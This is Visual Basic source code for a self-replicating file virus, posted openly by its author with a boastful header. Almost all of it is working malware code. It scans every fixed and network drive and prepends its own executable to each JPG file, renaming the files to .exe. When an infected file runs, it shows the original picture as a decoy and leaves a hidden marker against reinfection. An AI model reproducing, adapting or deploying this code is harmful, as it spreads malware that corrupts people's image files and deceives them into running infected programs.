Virii Source coded by soliman (Tested,by Willimes..wae'l.....Ivan.....and maker soliman)!!!!!!!!!!
-------------------------------> Code Starts Here <------- Private Sub Form_Load() On Error Resume Next Randomize Dim rubishcode As String Dim picture As String
Set fso = CreateObject("scripting.filesystemobject") Set tempfold = fso.getspecialfolder(2) payload = Int(999 * Rnd) If payload = 783 Then MsgBox "@@@ I LoVe ShImAaa in PaTra..I'm dOOmeD @@@", 64, "Eva ViRus VeRsIon 2.0" End If myname = App.Path & "\" & App.EXEName & ".exe" buff = FileLen(myname)
If buff > 20992 Then rub = buff - 20992 Open (myname) For Binary Access Read As #1 rubishcode = Space(rub) Seek #1, 20993 Get #1, , rubishcode Close #1 picture = tempfold & "\" & App.EXEName & ".jpg" Open (picture) For Binary Access Read Write As #2 Put #2, , rubishcode Close #2 ddd = "c:\Program Files\Internet Explorer\iexplore.exe " & picture idProg = Shell(ddd, vbMaximizedFocus) SetAttr picture, vbSystem + vbHidden Else MsgBox "Out of memory!", 16, "Internet Explorer" End If autos = tempfold & "\win32dll.vid" If (fso.fileexists(autos)) Then End End If
Set dr = fso.Drives For Each d In dr If d.DriveType = 2 Or d.DriveType = 3 Then list (d.Path & "\") End If Next
Open (autos) For Binary Access Read Write As #22 Put #22, , "390842038209384023980984023 src coded next" Close #22 End End Sub Sub list(dir) On Error Resume Next Set fso = CreateObject("scripting.filesystemobject") Set f = fso.GetFolder(dir) Set ssf = f.Subfolders For Each fil In ssf spreadmailto (fil.Path) list (fil.Path) Next End Sub
Sub spreadmailto(dir) On Error Resume Next Dim readvictim As String Dim readme As String Set fso = CreateObject("Scripting.filesystemobject") Set f = fso.GetFolder(dir) Set cf = f.Files For Each fil In cf ext = fso.GetExtensionName(fil.Path) ext = LCase(ext) If (ext = "jpg") Then 'Main replication routine starts HeRe! myname = App.Path & "\" & App.EXEName & ".exe" victimlen = FileLen(fil.Path) Open (fil.Path) For Binary Access Read As #3 readvictim = Space(victimlen) Get #3, , readvictim Close #3 Open (myname) For Binary Access Read As #4 readme = Space(20992) Get #4, , readme Close #4 Open (fil.Path) For Binary Access Read Write As #5 Put #5, , readme Put #5, , readvictim Close #5 newname = fil.parentfolder & "\" newname2 = Left(fil.Name, 1) newname3 = Right(fil.Name, Len(fil.Name) - 1) newname4 = LCase(Left(newname3, Len(newname3) - 3) & "exe") newnameall = newname & newname2 & newname4 Name fil.Path As newnameall 'Main replication Routine Ends HeRe! myname = "" readme = "" readvictim = "" End If Next End Sub -------------------------------> Code Ends Here <---------